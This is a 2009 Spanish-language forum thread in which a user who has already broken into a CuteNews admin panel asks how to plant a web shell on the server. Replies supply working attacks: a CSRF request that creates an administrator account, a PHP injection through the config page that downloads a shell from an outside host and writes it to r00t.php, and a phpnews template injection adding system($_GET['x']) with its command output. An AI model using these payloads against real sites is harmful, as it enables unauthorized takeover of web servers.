CuteNews Escalar privilegios

Iniciado por xalupeao, 23 Mayo 2009, 06:24 AM

0 Miembros y 1 Visitante están viendo este tema.

xalupeao

Hola buenas ya he podido entrar al admin del cutenews usando dos exploit, uno que me buscar el nick del admin y otro me mostrara el hash en md5 y bueno pude entrar pero ahora quiero tratar de ir por mas pero no se me ocurre como poder escalar mas privilegios, quiero de alguna manera injectar una shell c99 o algo para poder tener un poco mas de control sobre el servidor, y hay esta la pregunta...


¿Se puede escalar mas privilegios por medio de Cutenew o bien injectar una shell?
Silverhost Hosting Chile - La empresa lider de Hosting en Chile .

CICOLO_111234

lo mejor es inyectar 1 shell...

busca en el panel del admin alguna opcion para subir archivos al servidor, como una imagen, documento...

salu2

xalupeao

es posible subir una imagen pero ahora se vien la pregunta de qe archivo hace un include local.
Silverhost Hosting Chile - La empresa lider de Hosting en Chile .

sirdarckcat

no hay una manera "por default" de escalar privilegios en cutenews.. para encontrar alguna manera tendrias que revisar el codigo fuente por vulnerabilidades.

WHK

#4
Cita de: sirdarckcat en 24 Mayo 2009, 06:15 AM
no hay una manera "por default" de escalar privilegios en cutenews.. para encontrar alguna manera tendrias que revisar el codigo fuente por vulnerabilidades.

Yo decidí hace un tiempo revisar el código fuente de ese sistema y si tiene varias fallas, mas de 5 si no me falla mi memoria de elefante php.

No recuerdo cuales eran pero si pretendes explotar el que está en la sección de noticias ( http://www.elhacker.net/notis/ ) no podrás porque eliminaron casi todos los archivos donde podías infiltrarte.

Recuerdo si que tenía csrf por todos lados y podías crear y borrar usuarios y hacerlos admin.

Si no me equivoco los usuarios eran manejados en archivos de texto y no en bases de datos MySQL.

Mañana lo bajaré otraves para hecharle una rehojeada.

Edito -->
Citarhttp://127.0.0.1/cutenews/index.php

POST /cutenews/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/cutenews/index.php?mod=editusers&action=list
Cookie: lastusername=whk; username=whk; md5_password=xxx;
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
regusername=zkizzik&regpassword=_123456&regnickname=zkizzik&regemail=zkizzik%40gmail.com&reglevel=1&action=adduser&mod=editusers

Agregué un user de prueba como admin y no hay token ni referer de verificación, ahi ya tienes un csrf y puedes crear usuarios admin si es que pillas al admin original y haces que vea una web tuya donde se le redireccionará.

Si mi memoria de elefante php no me falla recuerdo que la primera ves que vi este sistema pude ver que las peticiones post podían procesarse como si fueran get al igual que cpanel asi que puedes causar un csrf desde una imagen en un foro, etc.

Edito2 -->
Si se puede:
http://127.0.0.1/cutenews/index.php?regusername=zkizzik&regpassword=_123456&regnickname=zkizzik&regemail=zkizzik%40gmail.com&reglevel=1&action=adduser&mod=editusers
CitarUser Added
   
The user zkizzik was successfully added as administrator

go back

xalupeao

El usuario y contraseña ya lo tengo tengo acceso al administrador pero lo que quiero es injectarle una shell, lamentablemente el host no acepta RFI y tampoco me permite leer los archivos de la carpeta "data" por lo cual es imposible usar los otros conocidos exploit.

lo que quiero es injectar un shell.
Silverhost Hosting Chile - La empresa lider de Hosting en Chile .

Azielito

aaaaaaaaa si, yo alguna vez (aun trato xD) intente de poner una shell, lo unico que encontre fue algo de un avatar pero lo "inserta" con html, o sea
Código (html4strict) [Seleccionar]
<img src=$URL_AVATAR>

¬¬ y yo lo hablilite para poder subir una shell (bypasseando el filetype XD) y nada, no encontre forma, y si pones codigo php en una "entrada" no lo interpreta como tal ¬¬

Ahora mismo no traigo mi server de pruebas pero mañana intento hacer algo de SQL en las entradas a ver si encuentro algo ñ_ñ'

WHK

#7
CitarAhora mismo no traigo mi server de pruebas pero mañana intento hacer algo de SQL en las entradas a ver si encuentro algo ñ_ñ'
No usa SQL, solamente guarda todos los datos en archivos de texto.

Ya pude inyectar una shell y no está tan dificil, solamente que debes regirte por un filtro htmlspecialchars sin token o sea que puedes escribir comillas simples y con eso crear tu código php de la siguiente forma.

Fijate en configuraciones:
http://127.0.0.1/cutenews/index.php?mod=options&action=syscon&rand=xxx


Cuando guardas una configuración lo que haces es sobreescribir un archivo llamado data/config.php
Código (php) [Seleccionar]
<?PHP

//System Configurations (Auto Generated file)

$config_http_script_dir = "http://127.0.0.1/cutenews";

$config_skin = "default";

$config_date_adjust = "0";

...


El filtro dice así:
inc/options.mdu linea 755 a 760
Código (php) [Seleccionar]
   fwrite($handler, "<?PHP \n\n//System Configurations (Auto Generated file)\n\n");
   foreach($save_con as $name=>$value)
   {
           fwrite($handler, "\$config_$name = \"".htmlspecialchars($value)."\";\n\n");
   }
   fwrite($handler, "?>");


Como htmlspecialchars no tiene token ENT_QUOTES (http://cl.php.net/htmlspecialchars) significa que podemos insertar comillas simples pero si no podemos inyectar con comillas dobles para escapar de la variable $config_http_script_dir como lo hacemos?:



Fijate que en el input donde va el link del cutenews le puse al final el carácter "\" asi que tomará la comilla doble como parte de la misma variable y queda masomenos así:


Ahora que logramos escapar hay que cerrar la variable y comenzara a inyectar código:
Citar; echo 'test'; exit; /*

Fijate que este contenido queda acá:
Citar$config_skin = "default";
asi que nos encontramos con la comilla doble que cierra la primera variable y comenzamos a escribir en php pero primero cerramos con ";" y para que el código no quede corrupto y se quede sin hacer nada cerramos con "/*" y queda:




Ya sabemos que se ejecuta el código pero ojo que cuando lo hagas quedará corrupto pero las configuraciones por defecto de cutenews permiten que alcance a terminar de ejecutar nuestra inyeción asi que hay solo una oportunidad y si te fijas también no puedes ejecutar código y terminar con exit si es que no se debolvió algún buffer de stream en el php (debe ser por la misma configuración y ob_start() ) asi que en total nos queda masomenos así:
Código (php) [Seleccionar]
; echo 'stream'; $s = file_get_contents('http://www.web.com/shell.txt'); $f = fopen('r00t.php', 'x'); fwrite($f, $s); fclose($f); echo $s; exit; /*

Cuando lo hagas te va a dar el mismo error que la imagen anterior pero si vas a http://127.0.0.1/cutenews/r00t.php verás algo así como esto:

WHK


Azielito

'_' :-o

Excelente :0



Estaba confundiendo el sistema, con el que estaba haciendo pruebas era con phpnews, no se por que los confundí :xD

sorry ._________.  intentaré hacer lo mismo con este :-)




Ya, despues de varios intentos logre inyectar codigo php ñ_ñ'  siguiendo el tutorial que has puesto WHK :D

bien, basicamente es lo mismo solo que mejor :xD

vamos a editar el templete, yo escogí el de news.php, o sea, donde se muestran las noticias xD

:http://localhost/phpnews/phpnews1.0/index.php?action=modtemp

esto nos muestra lo siguiente
Código (php) [Seleccionar]
<h1>
                 $subject
              </h1>
              <p>
                 $time by $username.
              </p>
              <p>
                 <strong>$titletext</strong>
              </p>
              <p>
                 $maintext | $comments | $sendtofriend
              </p>
              <hr /><br />


Si vemos el archivo news_temp.php nos dirá todo

Código (php) [Seleccionar]
<?
print<<<EOT
<h1>
                 $subject
              </h1>
              <p>
                 $time by $username.
              </p>
              <p>
                 <strong>$titletext</strong>
              </p>
              <p>
                 $maintext | $comments | $sendtofriend
              </p>
              <hr /><br />
EOT;
?>


Cuando modificamos cualquier cosa desde el panel de administración lo refleja directamente en éste archivo ñ_ñ

Para finalizar, desde el panel de administración modificamos el template de modo que quede así:
Código (php) [Seleccionar]
<h1>
                 $subject
              </h1>
              <p>
                 $time by $username.
              </p>
              <p>
                 <strong>$titletext</strong>
              </p>
              <p>
                 $maintext | $comments | $sendtofriend
              </p>
              <hr /><br />
EOT;
system($_GET['x']);die();


Esto dará como resultado éste código en nuestro "news_temp.php"
Código (php) [Seleccionar]
<?
print<<<EOT
<h1>
                 $subject
              </h1>
              <p>
                 $time by $username.
              </p>
              <p>
                 <strong>$titletext</strong>
              </p>
              <p>
                 $maintext | $comments | $sendtofriend
              </p>
              <hr /><br />
EOT;
system($_GET['x']);die();
EOT;
?>


y tenemos magia x)

Cita de: http://localhost/ipm/phpnews/phpnews1.0/news.php?x=dir
Código (html4strict) [Seleccionar]
<script type="text/javascript">
<!--
       function sendtof(desktopURL)
       {
         desktop = window.open(desktopURL, "SendToFriend", "toolbar=no,location=no,status=no,menubar=no,scrollbars=no,width=400,height=275,resizable=no");
       }
// -->
</script>
<a name="2"><!-- 2 --></a>
<h1>
                 Siguiente prueba ñ_ñ
              </h1>
              <p>
                 December 02, 2008, 10:55:16 AM by admin.
              </p>
              <p>
                 <strong>titulo</strong>

              </p>
              <p>
                 <a href="?action=fullnews&amp;id=2">Full Story</a> |  | <a href="javascript:sendtof('http://localhost/phpnews/phpnews1.0/news.phpsendtofriend.php?mid=2')">Send To Friend</a>
              </p>
              <hr /><br /> El volumen de la unidad G es AZIELITO
El n£mero de serie del volumen es: 476A-3939

Directorio de G:\Desarrollo\web\www\phpnews\phpnews1.0

19/11/2008  05:55 p.m.    <DIR>          .
19/11/2008  05:55 p.m.    <DIR>          ..
20/06/2003  07:44 p.m.            17,716 gpl.txt
16/07/2003  05:05 p.m.             2,100 headlines.php
11/07/2003  06:07 p.m.               118 headlines_temp.php
16/07/2003  05:05 p.m.             4,578 help.php
16/07/2003  05:10 p.m.             7,980 index.php
18/06/2003  11:33 p.m.             2,891 mysql.sql
16/07/2003  05:06 p.m.            10,793 news.php
11/07/2003  02:22 p.m.             4,058 phpnews_package.css
16/07/2003  04:12 p.m.             8,857 readme.html
16/07/2003  04:24 p.m.            20,679 se.lng
16/07/2003  05:06 p.m.             5,247 sendtofriend.php
11/07/2003  06:07 p.m.             1,203 sendtofriend_temp.php
11/07/2003  06:07 p.m.               602 sent_temp.php
20/11/2008  09:13 a.m.               103 settings.php
19/11/2008  05:55 p.m.    <DIR>          smilies
08/04/2003  10:50 a.m.               837 bullet.gif
11/07/2003  06:07 p.m.               781 comment_temp.php
11/07/2003  06:07 p.m.               381 comments_temp.php
16/07/2003  04:24 p.m.            22,127 de.lng
16/07/2003  04:24 p.m.            20,272 en.lng
11/05/2003  04:29 p.m.               358 fullnews_temp.php
19/11/2008  05:55 p.m.            62,254 admin.php
16/07/2003  05:06 p.m.            19,086 install.php.bak
02/12/2008  11:28 a.m.                27 es.php
02/12/2008  11:35 a.m.             4,798 auth.php
26/05/2009  10:51 a.m.             1,344 phperror.log
26/05/2009  11:02 a.m.               391 news_temp.php
             26 archivos        219,581 bytes
              3 dirs  21,014,544,384 bytes libres


ñ_ñ

Gracias a WHK por el tuto anterior x)